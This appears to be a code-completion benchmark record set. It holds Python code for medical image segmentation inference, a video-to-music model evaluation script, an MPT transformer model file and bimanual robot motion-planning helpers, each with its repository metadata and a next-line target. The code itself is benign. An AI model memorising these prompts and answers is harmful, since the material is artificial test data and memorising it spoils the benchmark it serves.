plan_data['plans']['dataset_properties']['intensityproperties'][0]['percentile_00_5'] clip_max = plan_data['plans']['dataset_properties']['intensityproperties'][0]['percentile_99_5'] except: if cfg['task'].find('500') != -1 or '005' in task or '001' in task: mean, std, clip_min, clip_max = 0, 1, -9999, 9999 else: mean, std, clip_min, clip_max = None, None, -9999, 9999 if cfg['model'].startswith('Generic'): norm_op_kwargs = {'eps': 1e-5, 'affine': True} dropout_op_kwargs = {'p': 0, 'inplace': True} net_nonlin = nn.LeakyReLU net_nonlin_kwargs = {'negative_slope': 1e-2, 'inplace': True} if cfg['model'] == 'Generic_TransUNet_max_ppbp': net = Generic_TransUNet_max_ppbp(num_input_channels, base_num_features, num_classes, len(pool_op_kernel_sizes), conv_per_stage, 2, nn.Conv3d, nn.InstanceNorm3d, norm_op_kwargs, nn.Dropout3d, dropout_op_kwargs, net_nonlin, net_nonlin_kwargs, not args.disable_ds, False, lambda x: x, InitWeights_He(1e-2), pool_op_kernel_sizes, conv_kernel_sizes, False, True, convolutional_upsampling= True, patch_size=patch_size, **model_params) elif cfg['model'] == 'Generic_UNet': net = Generic_UNet(num_input_channels, base_num_features, num_classes, len(pool_op_kernel_sizes), conv_per_stage, 2, nn.Conv3d, nn.InstanceNorm3d, norm_op_kwargs, nn.Dropout3d, dropout_op_kwargs, net_nonlin, net_nonlin_kwargs, False, False, lambda x: x, InitWeights_He(1e-2), pool_op_kernel_sizes, conv_kernel_sizes, False, True, True) else: raise NotImplementedError else: net = None print("Note implemented for cfg['model']") raise NotImplementedError total = sum([param.nelement() for param in net.parameters()]) net.cuda() if args.measure_param_flops: with torch.no_grad(): test_data = torch.zeros((1, 1, patch_size[0], patch_size[1], patch_size[2])).cuda() msg = get_flops(net, test_data) # same flops results with detectron, but count params as well. print(args.config, msg) sys.exit(0) checkpoint = torch.load(modelfile) print("load epoch", checkpoint['epoch']) new_state_dict = OrderedDict() curr_state_dict_keys = list(net.state_dict().keys()) for k, value in checkpoint['state_dict'].items(): key = k if key not in curr_state_dict_keys and key.startswith('module.'): key = key[7:] new_state_dict[key] = value net.load_state_dict(new_state_dict, strict=False) cur_dict = net.state_dict() print("missing keys of pretrained", [k for k in new_state_dict.keys() if k not in cur_dict.keys()]) print("extra keys of pretrained", [k for k in cur_dict.keys() if k not in new_state_dict.keys()]) print("weights loaded to network") net.eval() def _get_arr(path): sitkimg = sitk.ReadImage(path) arr = sitk.GetArrayFromImage(sitkimg) return arr, sitkimg def _write_arr(arr, path, info=None): sitkimg = sitk.GetImageFromArray(arr) if info is not None: sitkimg.CopyInformation(info) sitk.WriteImage(sitkimg, path) def get_do_separate_z(spacing, anisotropy_threshold=2): do_separate_z = spacing[-1] > anisotropy_threshold return do_separate_z def _compute_steps_for_sliding_window(patch_size: Tuple[int, ...], image_size: Tuple[int, ...], step_size: float) -> List[List[int]]: assert [i >= j for i, j in zip(image_size, patch_size)], "image size must be as large or larger than patch_size" assert 0 < step_size <= 1, 'step_size must be larger than 0 and smaller or equal to 1' target_step_sizes_in_voxels = [i * step_size for i in patch_size] num_steps = [int(np.ceil((i - k) / j)) + 1 for i, j, k in zip(image_size, target_step_sizes_in_voxels, patch_size)] steps = [] for dim in range(len(patch_size)): max_step_value = image_size[dim] - patch_size[dim] if num_steps[dim] > 1: actual_step_size = max_step_value / (num_steps[dim] - 1) else: actual_step_size = 99999999999 # does not matter because there is only one step at 0 steps_here = [int(np.round(actual_step_size * i)) for i in range(num_steps[dim])] steps.append(steps_here) return steps def _get_gaussian(patch_size, sigma_scale=1. / 8) -> np.ndarray: tmp = np.zeros(patch_size) center_coords = [i // 2 for i in patch_size] sigmas = [i * sigma_scale for i in patch_size] tmp[tuple(center_coords)] = 1 gaussian_importance_map = gaussian_filter(tmp, sigmas, 0, mode='constant', cval=0) gaussian_importance_map = gaussian_importance_map / np.max(gaussian_importance_map) * 1 gaussian_importance_map = gaussian_importance_map.astype(np.float32) # gaussian_importance_map cannot be 0, otherwise we may end up with nans! gaussian_importance_map[gaussian_importance_map == 0] = np.min( gaussian_importance_map[gaussian_importance_map != 0]) return gaussian_importance_map gaussian_mask = torch.from_numpy(_get_gaussian(patch_size)[np.newaxis, np.newaxis]).cuda().half().clamp_min_(1e-4) def predict(arr): if args.num_ds is not None: prob_map = torch.zeros((args.num_ds, 1, num_classes,) + arr.shape[-3:]).half().cuda() else: prob_map = torch.zeros((1, num_classes,) + arr.shape[-3:]).half().cuda() cnt_map = torch.zeros_like(prob_map) arr_clip = np.clip(arr, clip_min, clip_max) if mean is None and std is None: raw_norm = (arr_clip - arr_clip.mean()) / (arr_clip.std()+ 1e-8) D else: raw_norm = (arr_clip - mean) / std step_size = 0.5 if args.config.find('500Region') != -1 or task.find('005') != -1 or task.find('001') != -1 else 0.7 steps = _compute_steps_for_sliding_window(patch_size, raw_norm.shape[-3:], step_size) # step_size=0.5 for Brats num_tiles = len(steps[0]) * len(steps[1]) * len(steps[2]) print("data shape:", raw_norm.shape) print("patch size:", patch_size) print("steps (x, y, and z):", steps) print("number of tiles:", num_tiles) for x in steps[0]: lb_x = x ub_x = x + patch_size[0] for y in steps[1]: lb_y = y ub_y = y + patch_size[1] for z in steps[2]: lb_z = z ub_z = z + patch_size[2] with torch.no_grad(): numpy_arr = raw_norm[:, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z][np.newaxis] if len(raw_norm.shape)==4 else raw_norm[lb_x:ub_x, lb_y:ub_y, lb_z:ub_z][np.newaxis, np.newaxis] tensor_arr = torch.from_numpy(numpy_arr).cuda().half() seg_pro = net(tensor_arr) # (1, c, d, h, w) if args.num_ds is not None and isinstance(seg_pro, dict) and ('is_max_hungarian' in model_params.keys() and model_params['is_max_hungarian']): aux_cls_out = [p['pred_logits'] for p in seg_pro['aux_outputs']] aux_mask_out = [p['pred_masks'] for p in seg_pro['aux_outputs']] all_cls_out, all_mask_out = [seg_pro["pred_logits"]] + aux_cls_out[::-1], [seg_pro["pred_masks"]] + aux_mask_out[::-1] for i, (mask_cls, mask_pred) in enumerate(zip(all_cls_out, all_mask_out)): # desceding order mask_cls = F.softmax(mask_cls, dim=-1)[..., :-1] # filter out non-object class mask_pred = mask_pred.sigmoid() _seg_pro = torch.einsum("bqc,bqdhw->bcdhw", mask_cls, mask_pred) _pred = _seg_pro * gaussian_mask prob_map[i, :, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += _pred elif isinstance(seg_pro, dict) and ('is_max_hungarian' in model_params.keys() and model_params['is_max_hungarian']): mask_cls, mask_pred = seg_pro["pred_logits"], seg_pro["pred_masks"] mask_cls = F.softmax(mask_cls, dim=-1)[..., :-1] # filter out non-object class mask_pred = mask_pred.sigmoid() seg_pro = torch.einsum("bqc,bqdhw->bcdhw", mask_cls, mask_pred) _pred = seg_pro if args.config.find('500Region') != -1 or task.find('005') != -1 or task.find('001') != -1: _pred = seg_pro else: _pred = seg_pro * gaussian_mask prob_map[:, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += _pred # NOTE: should also smooth cnt_map if apply gaussian_mask before | neural_network.py -> network.predict_3D -> _internal_predict_3D_3Dconv_tiled cnt_map[:, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += 1 elif args.num_ds is not None and not isinstance(seg_pro, dict): # (isinstance(seg_pro, list) or isinstance(seg_pro, tuple)) assert len(seg_pro) == args.num_ds, (len(seg_pro), args.num_ds) for i, _seg_pro in enumerate(seg_pro): if torch.sum(_seg_pro[0,:,0,0,0]) != 1: _seg_pro = torch.softmax(_seg_pro, dim=1) _pred = _seg_pro * gaussian_mask prob_map[i, :, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += _pred elif isinstance(seg_pro, list) or isinstance(seg_pro, tuple): seg_pro = seg_pro[0] if torch.sum(seg_pro[0,:,0,0,0]) != 1: seg_pro = torch.softmax(seg_pro, dim=1) _pred = seg_pro * gaussian_mask prob_map[:, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += _pred else: if args.is_sigmoid: _pred = seg_pro.sigmoid() elif torch.sum(seg_pro[0,:,0,0,0]) != 1: seg_pro = torch.softmax(seg_pro, dim=1) _pred = seg_pro * gaussian_mask prob_map[:, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += _pred cnt_map[:, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += 1 print("before devision", prob_map.max(), prob_map.min(), cnt_map.min()) if args.config.find('500Region') != -1 or task.find('005') != -1 or task.find('001') != -1: prob_map /= cnt_map print("after devision", prob_map.max(), prob_map.min()) # viz_data(torch.from_numpy(raw_norm[np.newaxis, np.newaxis]).cuda().half(), prob_map) torch.cuda.empty_cache() return prob_map.detach().cpu() def itk_change_spacing(src_itk, output_spacing, interpolate_method='Linear'): assert interpolate_method in ['Linear', 'NearestNeighbor'] src_size = src_itk.GetSize() src_spacing = src_itk.GetSpacing() re_sample_scale = tuple(np.array(src_spacing) / np.array(output_spacing).astype(float)) re_sample_size = tuple(np.array(src_size).astype(float) * np.array(re_sample_scale)) re_sample_size = [int(round(x)) for x in re_sample_size] output_spacing = tuple((np.array(src_size) / np.array(re_sample_size)) * np.array(src_spacing)) re_sampler = sitk.ResampleImageFilter() re_sampler.SetOutputPixelType(src_itk.GetPixelID()) re_sampler.SetReferenceImage(src_itk) re_sampler.SetSize(re_sample_size) re_sampler.SetOutputSpacing(output_spacing) re_sampler.SetInterpolator(eval('sitk.sitk' + interpolate_method)) return re_sampler.Execute(src_itk) def resample_image_to_ref(image, ref, interp=sitk.sitkNearestNeighbor, pad_value=0): resample = sitk.ResampleImageFilter() resample.SetReferenceImage(ref) resample.SetDefaultPixelValue(pad_value) resample.SetInterpolator(interp) return resample.Execute(image) def Inference3D_multiphase(rawf, save_path=None, mode='nii'): """if use nii, can crop and preprocess given a list of path; already check the npy is the same with f(nii)""" if mode=='npy': # preferred rawf_npy = rawf.replace('nnUNet_raw_data', 'nnUNet_preprocessed').replace('imagesTr', 'nnUNetData_plans_v2.1_stage0').replace('_0000.nii.gz', '.npy') assert os.path.exists(rawf_npy) # already preprocessed! img_arr = np.load(rawf_npy)[:4] else: # data_files: a list of path # nnunet.inference.predict will call # nnunet.training.network_training.nnUNetTrainer -> nnUNetTrainer.preprocess_patient(data_files) # for new unseen data. # nnunet.preprocessing.preprocessing -> GenericPreprocessor.preprocess_test_case(data_files, current_spacing) will do ImageCropper.crop_from_list_of_files(data_files) and resample_and_normalize # return data, seg, properties data_files = [] # an element in lists_of_list: [[case0_0000.nii.gz, case0_0001.nii.gz], [case1_0000.nii.gz, case1_0001.nii.gz], ...] for i in range(num_input_channels): data_files.append(rawf.replace('0000', '000'+str(i))) data, seg, crop_properties = ImageCropper.crop_from_list_of_files(data_files, seg_file=None) # can retrive properties['crop_bbox'], seg is all -1 array force_separate_z, target_spacing = False, [1.0, 1.0, 1.0] data, seg = data.transpose((0, *[i + 1 for i in transpose_forward])), seg.transpose((0, *[i + 1 for i in transpose_forward])) preprocessor = GenericPreprocessor(normalization_schemes, use_mask_for_norm, transpose_forward, intensity_properties) data, _, crop_prep_properties = preprocessor.resample_and_normalize(data, target_spacing, crop_properties, seg, force_separate_z=force_separate_z) img_arr = data pad_flag = 0 padzyx = np.clip(np.array(patch_size) - np.array(img_arr.shape)[-3:], 0, 1000) # clip the shape.. if np.any(padzyx > 0): pad_flag = 1 pad_left = padzyx // 2 pad_right = padzyx - padzyx // 2 img_arr = np.pad(img_arr, ((0, 0), (pad_left[0], pad_right[0]), (pad_left[1], pad_right[1]), (pad_left[2], pad_right[2]))) # PREDICT! if args.mixed_precision: context = autocast else:
context = no_op
4
2023-10-11 05:19:25+00:00
12k
AMAAI-Lab/Video2Music
evaluate.py
[ { "identifier": "create_vevo_datasets", "path": "dataset/vevo_dataset.py", "snippet": "def create_vevo_datasets(dataset_root = \"./dataset\", max_seq_chord=300, max_seq_video=300, vis_models=\"2d/clip_l14p\", emo_model=\"6c_l14p\", split_ver=\"v1\", random_seq=True, is_video=True):\n\n train_dataset ...
import torch import torch.nn as nn import logging import os import sys from torch.utils.data import DataLoader from dataset.vevo_dataset import create_vevo_datasets from model.music_transformer import MusicTransformer from model.video_music_transformer import VideoMusicTransformer from utilities.constants import * from utilities.device import get_device, use_cuda from utilities.argument_funcs import parse_eval_args, print_eval_args from utilities.run_model_vevo import eval_model
10,351
version = VERSION split_ver = SPLIT_VER split_path = "split_" + split_ver VIS_MODELS_ARR = [ "2d/clip_l14p" ] log_format = '%(message)s' logging.basicConfig(stream=sys.stdout, level=logging.INFO, format=log_format) fh = logging.FileHandler('log/log_eval2.txt') fh.setFormatter(logging.Formatter(log_format)) logging.getLogger().addHandler(fh) # main def main( vm = "", isPrintArgs = True): args = parse_eval_args() if isPrintArgs: print_eval_args(args) if vm != "": args.vis_models = vm if args.is_video: vis_arr = args.vis_models.split(" ") vis_arr.sort() vis_abbr_path = "" for v in vis_arr: vis_abbr_path = vis_abbr_path + "_" + VIS_ABBR_DIC[v] vis_abbr_path = vis_abbr_path[1:] args.model_weights = "./saved_models/" + version + "/best_loss_weights.pickle" else: vis_abbr_path = "no_video" args.model_weights = "./saved_models/" + version + "/best_loss_weights.pickle" if(args.force_cpu): use_cuda(False) print("WARNING: Forced CPU usage, expect model to perform slower") print("") _, _, test_dataset = create_vevo_datasets( dataset_root = "./dataset/", max_seq_chord = args.max_sequence_chord, max_seq_video = args.max_sequence_video, vis_models = args.vis_models, emo_model = args.emo_model, split_ver = SPLIT_VER, random_seq = True, is_video = args.is_video) test_loader = DataLoader(test_dataset, batch_size=args.batch_size, num_workers=args.n_workers) total_vf_dim = 0 if args.is_video: for vf in test_dataset[0]["semanticList"]: total_vf_dim += vf.shape[1] total_vf_dim += 1 # Scene_offset total_vf_dim += 1 # Motion # Emotion if args.emo_model.startswith("6c"): total_vf_dim += 6 else: total_vf_dim += 5 if args.is_video: model = VideoMusicTransformer(n_layers=args.n_layers, num_heads=args.num_heads, d_model=args.d_model, dim_feedforward=args.dim_feedforward, max_sequence_midi=args.max_sequence_midi, max_sequence_video=args.max_sequence_video, max_sequence_chord=args.max_sequence_chord, total_vf_dim=total_vf_dim, rpr=args.rpr).to(get_device()) else: model = MusicTransformer(n_layers=args.n_layers, num_heads=args.num_heads, d_model=args.d_model, dim_feedforward=args.dim_feedforward, max_sequence_midi=args.max_sequence_midi, max_sequence_chord=args.max_sequence_chord, rpr=args.rpr).to(get_device()) model.load_state_dict(torch.load(args.model_weights)) ##### Not smoothing evaluation loss ##### eval_loss_func = nn.CrossEntropyLoss(ignore_index=CHORD_PAD) eval_loss_emotion_func = nn.BCEWithLogitsLoss() logging.info( f"VIS MODEL: {args.vis_models}" ) logging.info("Evaluating:") model.eval()
version = VERSION split_ver = SPLIT_VER split_path = "split_" + split_ver VIS_MODELS_ARR = [ "2d/clip_l14p" ] log_format = '%(message)s' logging.basicConfig(stream=sys.stdout, level=logging.INFO, format=log_format) fh = logging.FileHandler('log/log_eval2.txt') fh.setFormatter(logging.Formatter(log_format)) logging.getLogger().addHandler(fh) # main def main( vm = "", isPrintArgs = True): args = parse_eval_args() if isPrintArgs: print_eval_args(args) if vm != "": args.vis_models = vm if args.is_video: vis_arr = args.vis_models.split(" ") vis_arr.sort() vis_abbr_path = "" for v in vis_arr: vis_abbr_path = vis_abbr_path + "_" + VIS_ABBR_DIC[v] vis_abbr_path = vis_abbr_path[1:] args.model_weights = "./saved_models/" + version + "/best_loss_weights.pickle" else: vis_abbr_path = "no_video" args.model_weights = "./saved_models/" + version + "/best_loss_weights.pickle" if(args.force_cpu): use_cuda(False) print("WARNING: Forced CPU usage, expect model to perform slower") print("") _, _, test_dataset = create_vevo_datasets( dataset_root = "./dataset/", max_seq_chord = args.max_sequence_chord, max_seq_video = args.max_sequence_video, vis_models = args.vis_models, emo_model = args.emo_model, split_ver = SPLIT_VER, random_seq = True, is_video = args.is_video) test_loader = DataLoader(test_dataset, batch_size=args.batch_size, num_workers=args.n_workers) total_vf_dim = 0 if args.is_video: for vf in test_dataset[0]["semanticList"]: total_vf_dim += vf.shape[1] total_vf_dim += 1 # Scene_offset total_vf_dim += 1 # Motion # Emotion if args.emo_model.startswith("6c"): total_vf_dim += 6 else: total_vf_dim += 5 if args.is_video: model = VideoMusicTransformer(n_layers=args.n_layers, num_heads=args.num_heads, d_model=args.d_model, dim_feedforward=args.dim_feedforward, max_sequence_midi=args.max_sequence_midi, max_sequence_video=args.max_sequence_video, max_sequence_chord=args.max_sequence_chord, total_vf_dim=total_vf_dim, rpr=args.rpr).to(get_device()) else: model = MusicTransformer(n_layers=args.n_layers, num_heads=args.num_heads, d_model=args.d_model, dim_feedforward=args.dim_feedforward, max_sequence_midi=args.max_sequence_midi, max_sequence_chord=args.max_sequence_chord, rpr=args.rpr).to(get_device()) model.load_state_dict(torch.load(args.model_weights)) ##### Not smoothing evaluation loss ##### eval_loss_func = nn.CrossEntropyLoss(ignore_index=CHORD_PAD) eval_loss_emotion_func = nn.BCEWithLogitsLoss() logging.info( f"VIS MODEL: {args.vis_models}" ) logging.info("Evaluating:") model.eval()
eval_metric_dict = eval_model(model, test_loader,
7
2023-10-13 09:06:24+00:00
12k
NousResearch/Obsidian
llava/model/language_model/mpt/modeling_mpt.py
[ { "identifier": "attn_bias_shape", "path": "llava/model/language_model/mpt/attention.py", "snippet": "def attn_bias_shape(attn_impl, n_heads, seq_len, alibi, prefix_lm, causal, use_sequence_id):\n if attn_impl == 'flash':\n return None\n elif attn_impl in ['torch', 'triton']:\n if al...
import math import warnings import torch import torch.nn as nn import torch.nn.functional as F from typing import List, Optional, Tuple, Union from transformers import PreTrainedModel, PreTrainedTokenizer, PreTrainedTokenizerFast from transformers.modeling_outputs import BaseModelOutputWithPast, CausalLMOutputWithPast from .attention import attn_bias_shape, build_attn_bias from .blocks import MPTBlock from .custom_embedding import SharedEmbedding from .norm import NORM_CLASS_REGISTRY from .configuration_mpt import MPTConfig from .adapt_tokenizer import AutoTokenizerForMOD, adapt_tokenizer_for_denoising from .hf_prefixlm_converter import add_bidirectional_mask_if_missing, convert_hf_causal_lm_to_prefix_lm from .meta_init_context import init_empty_weights from .param_init_fns import MODEL_INIT_REGISTRY, generic_param_init_fn_ from .flash_attn_triton import flash_attn_func
7,343
"""A simple, flexible implementation of a GPT model. Inspired by https://github.com/karpathy/minGPT/blob/master/mingpt/model.py """ try: except: pass Tokenizer = Union[PreTrainedTokenizer, PreTrainedTokenizerFast] class MPTPreTrainedModel(PreTrainedModel): config_class = MPTConfig base_model_prefix = 'model' _no_split_modules = ['MPTBlock'] class MPTModel(MPTPreTrainedModel): def __init__(self, config: MPTConfig): config._validate_config() super().__init__(config) self.attn_impl = config.attn_config['attn_impl'] self.prefix_lm = config.attn_config['prefix_lm'] self.attn_uses_sequence_id = config.attn_config['attn_uses_sequence_id'] self.alibi = config.attn_config['alibi'] self.alibi_bias_max = config.attn_config['alibi_bias_max'] if config.init_device == 'mixed': if dist.get_local_rank() == 0: config.init_device = 'cpu' else: config.init_device = 'meta' if config.norm_type.lower() not in NORM_CLASS_REGISTRY.keys(): norm_options = ' | '.join(NORM_CLASS_REGISTRY.keys()) raise NotImplementedError(f'Requested norm type ({config.norm_type}) is not implemented within this repo (Options: {norm_options}).') norm_class = NORM_CLASS_REGISTRY[config.norm_type.lower()] self.embedding_fraction = config.embedding_fraction self.wte = SharedEmbedding(config.vocab_size, config.d_model, device=config.init_device) if not self.alibi: self.wpe = torch.nn.Embedding(config.max_seq_len, config.d_model, device=config.init_device) self.emb_drop = nn.Dropout(config.emb_pdrop) self.blocks = nn.ModuleList([MPTBlock(device=config.init_device, **config.to_dict()) for _ in range(config.n_layers)]) self.norm_f = norm_class(config.d_model, device=config.init_device) if config.init_device != 'meta': print(f'You are using config.init_device={config.init_device!r}, but you can also use config.init_device="meta" with Composer + FSDP for fast initialization.') self.apply(self.param_init_fn) self.is_causal = not self.prefix_lm self._attn_bias_initialized = False self.attn_bias = None self.attn_bias_shape = attn_bias_shape(self.attn_impl, config.n_heads, config.max_seq_len, self.alibi, prefix_lm=self.prefix_lm, causal=self.is_causal, use_sequence_id=self.attn_uses_sequence_id) if config.no_bias: for module in self.modules(): if hasattr(module, 'bias') and isinstance(module.bias, nn.Parameter): if config.verbose: warnings.warn(f'Removing bias ({module.bias}) from {module}.') module.register_parameter('bias', None) if config.verbose and config.verbose > 2: print(self) if 'verbose' not in self.config.init_config: self.config.init_config['verbose'] = self.config.verbose if self.config.init_config['verbose'] > 1: init_fn_name = self.config.init_config['name'] warnings.warn(f'Using {init_fn_name} initialization.') self.gradient_checkpointing = False def get_input_embeddings(self): return self.wte def set_input_embeddings(self, value): self.wte = value @torch.no_grad() def _attn_bias(self, device, dtype, attention_mask: Optional[torch.ByteTensor]=None, prefix_mask: Optional[torch.ByteTensor]=None, sequence_id: Optional[torch.LongTensor]=None): if not self._attn_bias_initialized: if self.attn_bias_shape: self.attn_bias = torch.zeros(self.attn_bias_shape, device=device, dtype=dtype)
"""A simple, flexible implementation of a GPT model. Inspired by https://github.com/karpathy/minGPT/blob/master/mingpt/model.py """ try: except: pass Tokenizer = Union[PreTrainedTokenizer, PreTrainedTokenizerFast] class MPTPreTrainedModel(PreTrainedModel): config_class = MPTConfig base_model_prefix = 'model' _no_split_modules = ['MPTBlock'] class MPTModel(MPTPreTrainedModel): def __init__(self, config: MPTConfig): config._validate_config() super().__init__(config) self.attn_impl = config.attn_config['attn_impl'] self.prefix_lm = config.attn_config['prefix_lm'] self.attn_uses_sequence_id = config.attn_config['attn_uses_sequence_id'] self.alibi = config.attn_config['alibi'] self.alibi_bias_max = config.attn_config['alibi_bias_max'] if config.init_device == 'mixed': if dist.get_local_rank() == 0: config.init_device = 'cpu' else: config.init_device = 'meta' if config.norm_type.lower() not in NORM_CLASS_REGISTRY.keys(): norm_options = ' | '.join(NORM_CLASS_REGISTRY.keys()) raise NotImplementedError(f'Requested norm type ({config.norm_type}) is not implemented within this repo (Options: {norm_options}).') norm_class = NORM_CLASS_REGISTRY[config.norm_type.lower()] self.embedding_fraction = config.embedding_fraction self.wte = SharedEmbedding(config.vocab_size, config.d_model, device=config.init_device) if not self.alibi: self.wpe = torch.nn.Embedding(config.max_seq_len, config.d_model, device=config.init_device) self.emb_drop = nn.Dropout(config.emb_pdrop) self.blocks = nn.ModuleList([MPTBlock(device=config.init_device, **config.to_dict()) for _ in range(config.n_layers)]) self.norm_f = norm_class(config.d_model, device=config.init_device) if config.init_device != 'meta': print(f'You are using config.init_device={config.init_device!r}, but you can also use config.init_device="meta" with Composer + FSDP for fast initialization.') self.apply(self.param_init_fn) self.is_causal = not self.prefix_lm self._attn_bias_initialized = False self.attn_bias = None self.attn_bias_shape = attn_bias_shape(self.attn_impl, config.n_heads, config.max_seq_len, self.alibi, prefix_lm=self.prefix_lm, causal=self.is_causal, use_sequence_id=self.attn_uses_sequence_id) if config.no_bias: for module in self.modules(): if hasattr(module, 'bias') and isinstance(module.bias, nn.Parameter): if config.verbose: warnings.warn(f'Removing bias ({module.bias}) from {module}.') module.register_parameter('bias', None) if config.verbose and config.verbose > 2: print(self) if 'verbose' not in self.config.init_config: self.config.init_config['verbose'] = self.config.verbose if self.config.init_config['verbose'] > 1: init_fn_name = self.config.init_config['name'] warnings.warn(f'Using {init_fn_name} initialization.') self.gradient_checkpointing = False def get_input_embeddings(self): return self.wte def set_input_embeddings(self, value): self.wte = value @torch.no_grad() def _attn_bias(self, device, dtype, attention_mask: Optional[torch.ByteTensor]=None, prefix_mask: Optional[torch.ByteTensor]=None, sequence_id: Optional[torch.LongTensor]=None): if not self._attn_bias_initialized: if self.attn_bias_shape: self.attn_bias = torch.zeros(self.attn_bias_shape, device=device, dtype=dtype)
self.attn_bias = build_attn_bias(self.attn_impl, self.attn_bias, self.config.n_heads, self.config.max_seq_len, causal=self.is_causal, alibi=self.alibi, alibi_bias_max=self.alibi_bias_max)
1
2023-10-08 01:00:06+00:00
12k
RobotLocomotion/gcs-science-robotics
reproduction/bimanual/helpers.py
[ { "identifier": "BezierGCS", "path": "gcs/bezier.py", "snippet": "class BezierGCS(BaseGCS):\n def __init__(self, regions, order, continuity, edges=None, hdot_min=1e-6, full_dim_overlap=False):\n BaseGCS.__init__(self, regions)\n\n self.order = order\n self.continuity = continuity...
import numpy as np import os import time from copy import copy from pydrake.common import FindResourceOrThrow from pydrake.geometry import ( CollisionFilterDeclaration, GeometrySet, MeshcatVisualizer, Rgba, Role, SceneGraph ) from pydrake.math import RigidTransform, RollPitchYaw, RotationMatrix from pydrake.multibody.inverse_kinematics import InverseKinematics from pydrake.multibody.parsing import LoadModelDirectives, Parser, ProcessModelDirectives from pydrake.multibody.plant import AddMultibodyPlantSceneGraph, MultibodyPlant from pydrake.perception import PointCloud from pydrake.solvers import MosekSolver, Solve from pydrake.systems.analysis import Simulator from pydrake.systems.framework import DiagramBuilder, LeafSystem from pydrake.systems.primitives import TrajectorySource from pydrake.systems.rendering import MultibodyPositionToGeometryPose from gcs.bezier import BezierGCS from gcs.linear import LinearGCS from gcs.rounding import * from reproduction.prm_comparison.helpers import set_transparency_of_models from reproduction.util import *
8,525
"\tRelaxed cost:", np.round(results_dict["relaxation_cost"], 4)) print("\tCertified Optimality Gap:", (results_dict["rounded_cost"]-results_dict["relaxation_cost"]) /results_dict["relaxation_cost"]) gcs.ResetGraph() return trajectories, run_time class VectorTrajectorySource(LeafSystem): def __init__(self, trajectories): LeafSystem.__init__(self) self.trajectories = trajectories self.start_time = [0] for traj in trajectories: self.start_time.append(self.start_time[-1] + traj.end_time()) self.start_time = np.array(self.start_time) self.port = self.DeclareVectorOutputPort("traj_eval", 14, self.DoVecTrajEval, {self.time_ticket()}) def DoVecTrajEval(self, context, output): t = context.get_time() traj_index = np.argmax(self.start_time > t) - 1 q = self.trajectories[traj_index].value(t - self.start_time[traj_index]) output.set_value(q) def visualize_trajectory(traj, meshcat): builder = DiagramBuilder() scene_graph = builder.AddSystem(SceneGraph()) plant = MultibodyPlant(time_step=0.0) plant.RegisterAsSourceForSceneGraph(scene_graph) parser = Parser(plant) parser.package_map().Add("gcs", GcsDir()) directives_file = FindModelFile("models/bimanual_iiwa.yaml") directives = LoadModelDirectives(directives_file) models = ProcessModelDirectives(directives, plant, parser) [iiwa_1, wsg_1, iiwa_2, wsg_2, shelf, binR, binL, table] = models plant.Finalize() to_pose = builder.AddSystem(MultibodyPositionToGeometryPose(plant)) builder.Connect(to_pose.get_output_port(), scene_graph.get_source_pose_port(plant.get_source_id())) if type(traj) is list: traj_system = builder.AddSystem(VectorTrajectorySource(traj)) end_time = np.sum([t.end_time() for t in traj]) else: traj_system = builder.AddSystem(TrajectorySource(traj)) end_time = traj.end_time() builder.Connect(traj_system.get_output_port(), to_pose.get_input_port()) meshcat_viz = MeshcatVisualizer.AddToBuilder(builder, scene_graph, meshcat) meshcat.Delete() vis_diagram = builder.Build() simulator = Simulator(vis_diagram) plant_context = plant.CreateDefaultContext() rgb_color = [i/255 for i in (0, 0, 255, 255)] iiwa1_X = [] iiwa2_X = [] if type(traj) is list: for t in traj: q_waypoints = t.vector_values(np.linspace(t.start_time(), t.end_time(), 1000)) for ii in range(q_waypoints.shape[1]): plant.SetPositions(plant_context, q_waypoints[:, ii]) iiwa1_X.append(plant.EvalBodyPoseInWorld( plant_context, plant.GetBodyByName("body", wsg_1.model_instance))) iiwa2_X.append(plant.EvalBodyPoseInWorld( plant_context, plant.GetBodyByName("body", wsg_2.model_instance))) iiwa1_pointcloud = PointCloud(len(iiwa1_X)) iiwa1_pointcloud.mutable_xyzs()[:] = np.array( list(map(lambda X: X.translation(), iiwa1_X))).T[:] meshcat.SetObject("paths/iiwa_1", iiwa1_pointcloud, 0.015, rgba=Rgba(*rgb_color)) iiwa2_pointcloud = PointCloud(len(iiwa2_X)) iiwa2_pointcloud.mutable_xyzs()[:] = np.array( list(map(lambda X: X.translation(), iiwa2_X))).T[:] meshcat.SetObject("paths/iiwa_2", iiwa2_pointcloud, 0.015, rgba=Rgba(*rgb_color)) meshcat_viz.StartRecording() simulator.AdvanceTo(end_time) meshcat_viz.PublishRecording() def generate_segment_pics(traj, segment, meshcat): builder = DiagramBuilder() plant, scene_graph = AddMultibodyPlantSceneGraph(builder, time_step=0.0) parser = Parser(plant, scene_graph) parser.package_map().Add("gcs", GcsDir()) directives_file = FindModelFile("models/bimanual_iiwa.yaml") iiwa_file = FindResourceOrThrow( "drake/manipulation/models/iiwa_description/urdf/iiwa14_spheres_collision.urdf") wsg_file = FindModelFile("models/schunk_wsg_50_welded_fingers.sdf") directives = LoadModelDirectives(directives_file) models = ProcessModelDirectives(directives, plant, parser) [iiwa1_start, wsg1_start, iiwa2_start, wsg2_start, shelf, binR, binL, table] = models iiwa1_goal = parser.AddModelFromFile(iiwa_file, "iiwa1_goal") wsg1_goal = parser.AddModelFromFile(wsg_file, "wsg1_goal") iiwa2_goal = parser.AddModelFromFile(iiwa_file, "iiwa2_goal") wsg2_goal = parser.AddModelFromFile(wsg_file, "wsg2_goal") plant.WeldFrames(plant.world_frame(), plant.GetFrameByName("base", iiwa1_goal), RigidTransform()) plant.WeldFrames(plant.GetFrameByName("iiwa_link_7", iiwa1_goal), plant.GetFrameByName("body", wsg1_goal), RigidTransform(rpy=RollPitchYaw([np.pi/2., 0, np.pi/2]), p=[0, 0, 0.114])) plant.WeldFrames(plant.world_frame(), plant.GetFrameByName("base", iiwa2_goal), RigidTransform([0, 0.5, 0])) plant.WeldFrames(plant.GetFrameByName("iiwa_link_7", iiwa2_goal), plant.GetFrameByName("body", wsg2_goal), RigidTransform(rpy=RollPitchYaw([np.pi/2., 0, np.pi/2]), p=[0, 0, 